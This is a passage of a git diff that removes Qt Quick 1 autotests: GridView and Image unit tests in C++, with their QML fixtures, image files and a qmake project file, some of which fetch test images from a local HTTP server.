QDeclarative1Text *number = findItem(contentItem, "textNumber", 0); - QTRY_VERIFY(number != 0); - QTRY_COMPARE(number->text(), model.number(0)); - - // Check currentIndex is updated when contentItem moves - gridview->setContentX(-200); - QTRY_COMPARE(gridview->currentIndex(), 3); - - gridview->setCurrentIndex(7); - QTRY_COMPARE(gridview->contentX(), -300.); - QTRY_COMPARE(gridview->contentY(), 0.0); - - TestModel model2; - for (int i = 0; i < 5; i++) - model2.addItem("Item" + QString::number(i), ""); - - ctxt->setContextProperty("testModel", &model2); - QCOMPARE(gridview->count(), 5); - - delete canvas; -} - -void tst_QDeclarative1GridView::QTBUG_8456() -{ - QDeclarativeView *canvas = createView(); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/setindex.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QTRY_COMPARE(gridview->currentIndex(), 0); - - delete canvas; -} - -void tst_QDeclarative1GridView::manualHighlight() -{ - QDeclarativeView *canvas = createView(); - - QString filename(SRCDIR "/data/manual-highlight.qml"); - canvas->setSource(QUrl::fromLocalFile(filename)); - - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QTRY_COMPARE(gridview->currentIndex(), 0); - QTRY_COMPARE(gridview->currentItem(), findItem(contentItem, "wrapper", 0)); - QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y()); - QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x()); - - gridview->setCurrentIndex(2); - - QTRY_COMPARE(gridview->currentIndex(), 2); - QTRY_COMPARE(gridview->currentItem(), findItem(contentItem, "wrapper", 2)); - QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y()); - QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x()); - - gridview->positionViewAtIndex(8, QDeclarative1GridView::Contain); - - QTRY_COMPARE(gridview->currentIndex(), 2); - QTRY_COMPARE(gridview->currentItem(), findItem(contentItem, "wrapper", 2)); - QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y()); - QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x()); - - gridview->setFlow(QDeclarative1GridView::TopToBottom); - QTRY_COMPARE(gridview->flow(), QDeclarative1GridView::TopToBottom); - - gridview->setCurrentIndex(0); - QTRY_COMPARE(gridview->currentIndex(), 0); - QTRY_COMPARE(gridview->currentItem(), findItem(contentItem, "wrapper", 0)); - QTRY_COMPARE(gridview->highlightItem()->y() - 5, gridview->currentItem()->y()); - QTRY_COMPARE(gridview->highlightItem()->x() - 5, gridview->currentItem()->x()); - - delete canvas; -} - -void tst_QDeclarative1GridView::footer() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 7; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/footer.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QDeclarative1Text *footer = findItem(contentItem, "footer"); - QVERIFY(footer); - - QCOMPARE(footer->y(), 180.0); - QCOMPARE(footer->height(), 30.0); - - model.removeItem(2); - QTRY_COMPARE(footer->y(), 120.0); - - model.clear(); - QTRY_COMPARE(footer->y(), 0.0); - - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QMetaObject::invokeMethod(canvas->rootObject(), "changeFooter"); - - footer = findItem(contentItem, "footer"); - QVERIFY(!footer); - footer = findItem(contentItem, "footer2"); - QVERIFY(footer); - - QCOMPARE(footer->y(), 600.0); - QCOMPARE(footer->height(), 20.0); - QCOMPARE(gridview->contentY(), 0.0); - - delete canvas; -} - -void tst_QDeclarative1GridView::header() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/header.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QDeclarative1Text *header = findItem(contentItem, "header"); - QVERIFY(header); - - QCOMPARE(header->y(), 0.0); - QCOMPARE(header->height(), 30.0); - QCOMPARE(gridview->contentY(), 0.0); - - QDeclarativeItem *item = findItem(contentItem, "wrapper", 0); - QVERIFY(item); - QCOMPARE(item->y(), 30.0); - - model.clear(); - QTRY_COMPARE(header->y(), 0.0); - - for (int i = 0; i < 30; i++) - model.addItem("Item" + QString::number(i), ""); - - QMetaObject::invokeMethod(canvas->rootObject(), "changeHeader"); - - header = findItem(contentItem, "header"); - QVERIFY(!header); - header = findItem(contentItem, "header2"); - QVERIFY(header); - - QCOMPARE(header->y(), 10.0); - QCOMPARE(header->height(), 20.0); - QCOMPARE(gridview->contentY(), 10.0); - - delete canvas; -} - -void tst_QDeclarative1GridView::indexAt() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - model.addItem("Fred", "12345"); - model.addItem("John", "2345"); - model.addItem("Bob", "54321"); - model.addItem("Billy", "22345"); - model.addItem("Sam", "2945"); - model.addItem("Ben", "04321"); - model.addItem("Jim", "0780"); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testRightToLeft", QVariant(false)); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QTRY_VERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QTRY_VERIFY(contentItem != 0); - - QTRY_COMPARE(gridview->count(), model.count()); - - QCOMPARE(gridview->indexAt(0, 0), 0); - QCOMPARE(gridview->indexAt(79, 59), 0); - QCOMPARE(gridview->indexAt(80, 0), 1); - QCOMPARE(gridview->indexAt(0, 60), 3); - QCOMPARE(gridview->indexAt(240, 0), -1); - - delete canvas; -} - -void tst_QDeclarative1GridView::onAdd() -{ - QFETCH(int, initialItemCount); - QFETCH(int, itemsToAdd); - - const int delegateWidth = 50; - const int delegateHeight = 100; - TestModel model; - QDeclarativeView *canvas = createView(); - canvas->setFixedSize(5 * delegateWidth, 5 * delegateHeight); // just ensure all items fit - - // these initial items should not trigger GridView.onAdd - for (int i=0; irootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("delegateWidth", delegateWidth); - ctxt->setContextProperty("delegateHeight", delegateHeight); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml")); - - QObject *object = canvas->rootObject(); - object->setProperty("width", canvas->width()); - object->setProperty("height", canvas->height()); - qApp->processEvents(); - - QList > items; - for (int i=0; iprocessEvents(); - - QVariantList result = object->property("addedDelegates").toList(); - QCOMPARE(result.count(), items.count()); - for (int i=0; i("initialItemCount"); - QTest::addColumn("itemsToAdd"); - - QTest::newRow("0, add 1") << 0 << 1; - QTest::newRow("0, add 2") << 0 << 2; - QTest::newRow("0, add 10") << 0 << 10; - - QTest::newRow("1, add 1") << 1 << 1; - QTest::newRow("1, add 2") << 1 << 2; - QTest::newRow("1, add 10") << 1 << 10; - - QTest::newRow("5, add 1") << 5 << 1; - QTest::newRow("5, add 2") << 5 << 2; - QTest::newRow("5, add 10") << 5 << 10; -} - -void tst_QDeclarative1GridView::onRemove() -{ - QFETCH(int, initialItemCount); - QFETCH(int, indexToRemove); - QFETCH(int, removeCount); - - const int delegateWidth = 50; - const int delegateHeight = 100; - TestModel model; - for (int i=0; irootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("delegateWidth", delegateWidth); - ctxt->setContextProperty("delegateHeight", delegateHeight); - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/attachedSignals.qml")); - QObject *object = canvas->rootObject(); - - qApp->processEvents(); - - model.removeItems(indexToRemove, removeCount); - qApp->processEvents(); - QCOMPARE(object->property("removedDelegateCount"), QVariant(removeCount)); - - delete canvas; -} - -void tst_QDeclarative1GridView::onRemove_data() -{ - QTest::addColumn("initialItemCount"); - QTest::addColumn("indexToRemove"); - QTest::addColumn("removeCount"); - - QTest::newRow("remove first") << 1 << 0 << 1; - QTest::newRow("two items, remove first") << 2 << 0 << 1; - QTest::newRow("two items, remove last") << 2 << 1 << 1; - QTest::newRow("two items, remove all") << 2 << 0 << 2; - - QTest::newRow("four items, remove first") << 4 << 0 << 1; - QTest::newRow("four items, remove 0-2") << 4 << 0 << 2; - QTest::newRow("four items, remove 1-3") << 4 << 1 << 2; - QTest::newRow("four items, remove 2-4") << 4 << 2 << 2; - QTest::newRow("four items, remove last") << 4 << 3 << 1; - QTest::newRow("four items, remove all") << 4 << 0 << 4; - - QTest::newRow("ten items, remove 1-8") << 10 << 0 << 8; - QTest::newRow("ten items, remove 2-7") << 10 << 2 << 5; - QTest::newRow("ten items, remove 4-10") << 10 << 4 << 6; -} - -void tst_QDeclarative1GridView::testQtQuick11Attributes() -{ - QFETCH(QString, code); - QFETCH(QString, warning); - QFETCH(QString, error); - - QDeclarativeEngine engine; - QObject *obj; - - QDeclarativeComponent valid(&engine); - valid.setData("import QtQuick 1.1; GridView { " + code.toUtf8() + " }", QUrl("")); - obj = valid.create(); - QVERIFY(obj); - QVERIFY(valid.errorString().isEmpty()); - delete obj; - - QDeclarativeComponent invalid(&engine); - invalid.setData("import QtQuick 1.0; GridView { " + code.toUtf8() + " }", QUrl("")); - QTest::ignoreMessage(QtWarningMsg, warning.toUtf8()); - obj = invalid.create(); - QCOMPARE(invalid.errorString(), error); - delete obj; -} - -void tst_QDeclarative1GridView::testQtQuick11Attributes_data() -{ - QTest::addColumn("code"); - QTest::addColumn("warning"); - QTest::addColumn("error"); - - QTest::newRow("positionViewAtBeginning") << "Component.onCompleted: positionViewAtBeginning()" - << ":1: ReferenceError: Can't find variable: positionViewAtBeginning" - << ""; - - QTest::newRow("positionViewAtEnd") << "Component.onCompleted: positionViewAtEnd()" - << ":1: ReferenceError: Can't find variable: positionViewAtEnd" - << ""; -} - -void tst_QDeclarative1GridView::contentPosJump() -{ - QDeclarativeView *canvas = createView(); - - TestModel model; - for (int i = 0; i < 100; i++) - model.addItem("Item" + QString::number(i), ""); - - QDeclarativeContext *ctxt = canvas->rootContext(); - ctxt->setContextProperty("testModel", &model); - ctxt->setContextProperty("testRightToLeft", QVariant(false)); - ctxt->setContextProperty("testTopToBottom", QVariant(false)); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/gridview1.qml")); - qApp->processEvents(); - - QDeclarative1GridView *gridview = findItem(canvas->rootObject(), "grid"); - QVERIFY(gridview != 0); - - QDeclarativeItem *contentItem = gridview->contentItem(); - QVERIFY(contentItem != 0); - - // Test jumping more than a page of items. - gridview->setContentY(500); - - // Confirm items positioned correctly - int itemCount = findItems(contentItem, "wrapper").count(); - for (int i = 24; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QVERIFY(item); - QVERIFY(item->x() == (i%3)*80); - QVERIFY(item->y() == (i/3)*60); - } - - gridview->setContentY(-100); - itemCount = findItems(contentItem, "wrapper").count(); - QVERIFY(itemCount < 15); - // Confirm items positioned correctly - for (int i = 0; i < model.count() && i < itemCount; ++i) { - QDeclarativeItem *item = findItem(contentItem, "wrapper", i); - if (!item) qWarning() << "Item" << i << "not found"; - QVERIFY(item); - QVERIFY(item->x() == (i%3)*80); - QVERIFY(item->y() == (i/3)*60); - } - - delete canvas; -} - -QDeclarativeView *tst_QDeclarative1GridView::createView() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->setFixedSize(240,320); - - return canvas; -} - -/* - Find an item with the specified objectName. If index is supplied then the - item must also evaluate the {index} expression equal to index -*/ -template -T *tst_QDeclarative1GridView::findItem(QGraphicsObject *parent, const QString &objectName, int index) -{ - const QMetaObject &mo = T::staticMetaObject; - //qDebug() << parent->childItems().count() << "children"; - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - //qDebug() << "try" << item; - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) { - if (index != -1) { - QDeclarativeContext *context = QDeclarativeEngine::contextForObject(item); - if (context) { - if (context->contextProperty("index").toInt() == index) { - return static_cast(item); - } - } - } else { - return static_cast(item); - } - } - item = findItem(item, objectName, index); - if (item) - return static_cast(item); - } - - return 0; -} - -template -QList tst_QDeclarative1GridView::findItems(QGraphicsObject *parent, const QString &objectName) -{ - QList items; - const QMetaObject &mo = T::staticMetaObject; - //qDebug() << parent->childItems().count() << "children"; - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - //qDebug() << "try" << item; - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) { - items.append(static_cast(item)); - //qDebug() << " found:" << item; - } - items += findItems(item, objectName); - } - - return items; -} - -void tst_QDeclarative1GridView::dumpTree(QDeclarativeItem *parent, int depth) -{ - static QString padding(" "); - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - QDeclarativeContext *context = QDeclarativeEngine::contextForObject(item); - qDebug() << padding.left(depth*2) << item << (context ? context->contextProperty("index").toInt() : -1); - dumpTree(item, depth+1); - } -} - - -QTEST_MAIN(tst_QDeclarative1GridView) - -#include "tst_qdeclarativegridview.moc" diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/aspectratio.qml b/tests/auto/qtquick1/qdeclarativeimage/data/aspectratio.qml deleted file mode 100644 index cd092bc760..0000000000 --- a/tests/auto/qtquick1/qdeclarativeimage/data/aspectratio.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 - -Image { - property int widthChange: 0 - property int heightChange: 0 - source: "heart.png" - fillMode: Image.PreserveAspectFit; - onWidthChanged: widthChange += 1 - onHeightChanged: heightChange += 1 -} diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/big.jpeg b/tests/auto/qtquick1/qdeclarativeimage/data/big.jpeg deleted file mode 100644 index bed7bd65c3..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeimage/data/big.jpeg and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/big256.png b/tests/auto/qtquick1/qdeclarativeimage/data/big256.png deleted file mode 100644 index 1dc1596d03..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeimage/data/big256.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/colors.png b/tests/auto/qtquick1/qdeclarativeimage/data/colors.png deleted file mode 100644 index dfb62f3d64..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeimage/data/colors.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/colors1.png b/tests/auto/qtquick1/qdeclarativeimage/data/colors1.png deleted file mode 100644 index dfb62f3d64..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeimage/data/colors1.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/green.png b/tests/auto/qtquick1/qdeclarativeimage/data/green.png deleted file mode 100644 index 0a2e153ba1..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeimage/data/green.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/heart-win32.png b/tests/auto/qtquick1/qdeclarativeimage/data/heart-win32.png deleted file mode 100644 index 351da13772..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeimage/data/heart-win32.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/heart.png b/tests/auto/qtquick1/qdeclarativeimage/data/heart.png deleted file mode 100644 index abe97fee4b..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeimage/data/heart.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/heart.svg b/tests/auto/qtquick1/qdeclarativeimage/data/heart.svg deleted file mode 100644 index 8c982cd93c..0000000000 --- a/tests/auto/qtquick1/qdeclarativeimage/data/heart.svg +++ /dev/null @@ -1,55 +0,0 @@ - - - - - -Heart Left-Highlight -This is a normal valentines day heart. - - -holiday -valentines - -valentine -hash(0x8a091c0) -hash(0x8a0916c) -signs_and_symbols -hash(0x8a091f0) -day - - - - -Jon Phillips - - - - -Jon Phillips - - - - -Jon Phillips - - - -image/svg+xml - - -en - - - - - - - - - - - - - - - diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/heart200-win32.png b/tests/auto/qtquick1/qdeclarativeimage/data/heart200-win32.png deleted file mode 100644 index 4976ff98ba..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeimage/data/heart200-win32.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/heart200.png b/tests/auto/qtquick1/qdeclarativeimage/data/heart200.png deleted file mode 100644 index 7fbb13c5bb..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeimage/data/heart200.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/qtbug_16389.qml b/tests/auto/qtquick1/qdeclarativeimage/data/qtbug_16389.qml deleted file mode 100644 index 29fba400ef..0000000000 --- a/tests/auto/qtquick1/qdeclarativeimage/data/qtbug_16389.qml +++ /dev/null @@ -1,30 +0,0 @@ -import QtQuick 1.0 -Rectangle { - width: 400 - height: 400 - - Item { - anchors.top: parent.top - anchors.left: parent.left - anchors.bottom: blueHandle.top - anchors.right: blueHandle.left - - Image { - id: iconImage - objectName: "iconImage" - anchors.top: parent.top - anchors.bottom: parent.bottom - source: "heart200.png" - fillMode: Image.PreserveAspectFit - smooth: true - } - } - - Rectangle { - id: blueHandle - objectName: "blueHandle" - color: "blue" - width: 25 - height: 25 - } -} diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/rect.png b/tests/auto/qtquick1/qdeclarativeimage/data/rect.png deleted file mode 100644 index d564a2d5a5..0000000000 Binary files a/tests/auto/qtquick1/qdeclarativeimage/data/rect.png and /dev/null differ diff --git a/tests/auto/qtquick1/qdeclarativeimage/data/tiling.qml b/tests/auto/qtquick1/qdeclarativeimage/data/tiling.qml deleted file mode 100644 index 49715ab3e7..0000000000 --- a/tests/auto/qtquick1/qdeclarativeimage/data/tiling.qml +++ /dev/null @@ -1,16 +0,0 @@ -import QtQuick 1.0 - -Rectangle { - width: 800; height: 600 - - Image { - objectName: "vTiling"; height: 550; width: 200 - source: "green.png"; fillMode: Image.TileVertically - } - - Image { - objectName: "hTiling"; x: 225; height: 250; width: 550 - source: "green.png"; fillMode: Image.TileHorizontally - } -} - diff --git a/tests/auto/qtquick1/qdeclarativeimage/qdeclarativeimage.pro b/tests/auto/qtquick1/qdeclarativeimage/qdeclarativeimage.pro deleted file mode 100644 index 28570ab093..0000000000 --- a/tests/auto/qtquick1/qdeclarativeimage/qdeclarativeimage.pro +++ /dev/null @@ -1,12 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativeimage -macx:CONFIG -= app_bundle - -HEADERS += ../../shared/testhttpserver.h -SOURCES += tst_qdeclarativeimage.cpp ../../shared/testhttpserver.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private declarative-private qtquick1-private network testlib diff --git a/tests/auto/qtquick1/qdeclarativeimage/tst_qdeclarativeimage.cpp b/tests/auto/qtquick1/qdeclarativeimage/tst_qdeclarativeimage.cpp deleted file mode 100644 index 990bf7754c..0000000000 --- a/tests/auto/qtquick1/qdeclarativeimage/tst_qdeclarativeimage.cpp +++ /dev/null @@ -1,801 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include -#include - -#include "../../shared/testhttpserver.h" - -#define SERVER_PORT 14451 -#define SERVER_ADDR "http://127.0.0.1:14451" - -class tst_qdeclarativeimage : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativeimage(); - -private slots: - void noSource(); - void imageSource(); - void imageSource_data(); - void clearSource(); - void resized(); - void preserveAspectRatio(); - void smooth(); - void mirror(); - void mirror_data(); - void svg(); - void geometry(); - void geometry_data(); - void big(); - void tiling_QTBUG_6716(); - void noLoading(); - void paintedWidthHeight(); - void sourceSize_QTBUG_14303(); - void sourceSize_QTBUG_16389(); - void nullPixmapPaint(); - void resetSourceSize(); - void testQtQuick11Attributes(); - void testQtQuick11Attributes_data(); - -private: - template - T *findItem(QGraphicsObject *parent, const QString &id, int index=-1); - - QDeclarativeEngine engine; -}; - -tst_qdeclarativeimage::tst_qdeclarativeimage() -{ -} - -void tst_qdeclarativeimage::noSource() -{ - QString componentStr = "import QtQuick 1.0\nImage { source: \"\" }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->source(), QUrl()); - QVERIFY(obj->status() == QDeclarative1Image::Null); - QCOMPARE(obj->width(), 0.); - QCOMPARE(obj->height(), 0.); - QCOMPARE(obj->fillMode(), QDeclarative1Image::Stretch); - QCOMPARE(obj->progress(), 0.0); - - delete obj; -} - -void tst_qdeclarativeimage::imageSource_data() -{ - QTest::addColumn("source"); - QTest::addColumn("width"); - QTest::addColumn("height"); - QTest::addColumn("remote"); - QTest::addColumn("async"); - QTest::addColumn("cache"); - QTest::addColumn("error"); - - QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << true << ""; - QTest::newRow("local no cache") << QUrl::fromLocalFile(SRCDIR "/data/colors.png").toString() << 120.0 << 120.0 << false << false << false << ""; - QTest::newRow("local async") << QUrl::fromLocalFile(SRCDIR "/data/colors1.png").toString() << 120.0 << 120.0 << false << true << true << ""; - QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString() << 0.0 << 0.0 << false - << false << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file.png").toString(); - QTest::newRow("local async not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString() << 0.0 << 0.0 << false - << true << true << "file::2:1: QML Image: Cannot open: " + QUrl::fromLocalFile(SRCDIR "/data/no-such-file-1.png").toString(); - QTest::newRow("remote") << SERVER_ADDR "/colors.png" << 120.0 << 120.0 << true << false << true << ""; - QTest::newRow("remote redirected") << SERVER_ADDR "/oldcolors.png" << 120.0 << 120.0 << true << false << false << ""; - QTest::newRow("remote svg") << SERVER_ADDR "/heart.svg" << 550.0 << 500.0 << true << false << false << ""; - QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.png" << 0.0 << 0.0 << true - << false << true << "file::2:1: QML Image: Error downloading " SERVER_ADDR "/no-such-file.png - server replied: Not found"; - -} - -void tst_qdeclarativeimage::imageSource() -{ - QFETCH(QString, source); - QFETCH(double, width); - QFETCH(double, height); - QFETCH(bool, remote); - QFETCH(bool, async); - QFETCH(bool, cache); - QFETCH(QString, error); - - TestHTTPServer server(SERVER_PORT); - if (remote) { - QVERIFY(server.isValid()); - server.serveDirectory(SRCDIR "/data"); - server.addRedirect("oldcolors.png", SERVER_ADDR "/colors.png"); - } - - if (!error.isEmpty()) - QTest::ignoreMessage(QtWarningMsg, error.toUtf8()); - - QString componentStr = "import QtQuick 1.1\nImage { source: \"" + source + "\"; asynchronous: " - + (async ? QLatin1String("true") : QLatin1String("false")) + "; cache: " - + (cache ? QLatin1String("true") : QLatin1String("false")) + " }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - - if (async) - QVERIFY(obj->asynchronous() == true); - else - QVERIFY(obj->asynchronous() == false); - - if (cache) - QVERIFY(obj->cache() == true); - else - QVERIFY(obj->cache() == false); - - if (remote || async) - QTRY_VERIFY(obj->status() == QDeclarative1Image::Loading); - - QCOMPARE(obj->source(), remote ? source : QUrl(source)); - - if (error.isEmpty()) { - QTRY_VERIFY(obj->status() == QDeclarative1Image::Ready); - QCOMPARE(obj->width(), qreal(width)); - QCOMPARE(obj->height(), qreal(height)); - QCOMPARE(obj->fillMode(), QDeclarative1Image::Stretch); - QCOMPARE(obj->progress(), 1.0); - } else { - QTRY_VERIFY(obj->status() == QDeclarative1Image::Error); - } - - delete obj; -} - -void tst_qdeclarativeimage::clearSource() -{ - QString componentStr = "import QtQuick 1.0\nImage { source: srcImage }"; - QDeclarativeContext *ctxt = engine.rootContext(); - ctxt->setContextProperty("srcImage", QUrl::fromLocalFile(SRCDIR "/data/colors.png")); - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QVERIFY(obj->status() == QDeclarative1Image::Ready); - QCOMPARE(obj->width(), 120.); - QCOMPARE(obj->height(), 120.); - QCOMPARE(obj->progress(), 1.0); - - ctxt->setContextProperty("srcImage", ""); - QVERIFY(obj->source().isEmpty()); - QVERIFY(obj->status() == QDeclarative1Image::Null); - QCOMPARE(obj->width(), 0.); - QCOMPARE(obj->height(), 0.); - QCOMPARE(obj->progress(), 0.0); - - delete obj; -} - -void tst_qdeclarativeimage::resized() -{ - QString componentStr = "import QtQuick 1.0\nImage { source: \"" SRCDIR "/data/colors.png\"; width: 300; height: 300 }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->width(), 300.); - QCOMPARE(obj->height(), 300.); - QCOMPARE(obj->fillMode(), QDeclarative1Image::Stretch); - delete obj; -} - - -void tst_qdeclarativeimage::preserveAspectRatio() -{ - QDeclarativeView *canvas = new QDeclarativeView(0); - canvas->show(); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/aspectratio.qml")); - QDeclarative1Image *image = qobject_cast(canvas->rootObject()); - QVERIFY(image != 0); - QCOMPARE(image->property("widthChange").toInt(), 1); - QCOMPARE(image->property("heightChange").toInt(), 1); - image->setWidth(80.0); - QCOMPARE(image->property("widthChange").toInt(), 2); - QCOMPARE(image->property("heightChange").toInt(), 2); - QCOMPARE(image->width(), 80.); - QCOMPARE(image->height(), 80.); - - canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/aspectratio.qml")); - image = qobject_cast(canvas->rootObject()); - QVERIFY(image != 0); - QCOMPARE(image->property("widthChange").toInt(), 1); - QCOMPARE(image->property("heightChange").toInt(), 1); - image->setHeight(60.0); - QCOMPARE(image->property("widthChange").toInt(), 2); - QCOMPARE(image->property("heightChange").toInt(), 2); - QCOMPARE(image->height(), 60.); - QCOMPARE(image->width(), 60.); - delete canvas; -} - -void tst_qdeclarativeimage::smooth() -{ - QString componentStr = "import QtQuick 1.0\nImage { source: \"" SRCDIR "/data/colors.png\"; smooth: true; width: 300; height: 300 }"; - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = qobject_cast(component.create()); - QVERIFY(obj != 0); - QCOMPARE(obj->width(), 300.); - QCOMPARE(obj->height(), 300.); - QCOMPARE(obj->smooth(), true); - QCOMPARE(obj->fillMode(), QDeclarative1Image::Stretch); - - delete obj; -} - -void tst_qdeclarativeimage::mirror() -{ - QFETCH(int, fillMode); - - qreal width = 300; - qreal height = 250; - - QString src = QUrl::fromLocalFile(SRCDIR "/data/heart200.png").toString(); - QString componentStr = "import QtQuick 1.1\nImage { source: \"" + src + "\"; }"; - - QDeclarativeComponent component(&engine); - component.setData(componentStr.toLatin1(), QUrl::fromLocalFile("")); - QDeclarative1Image *obj = 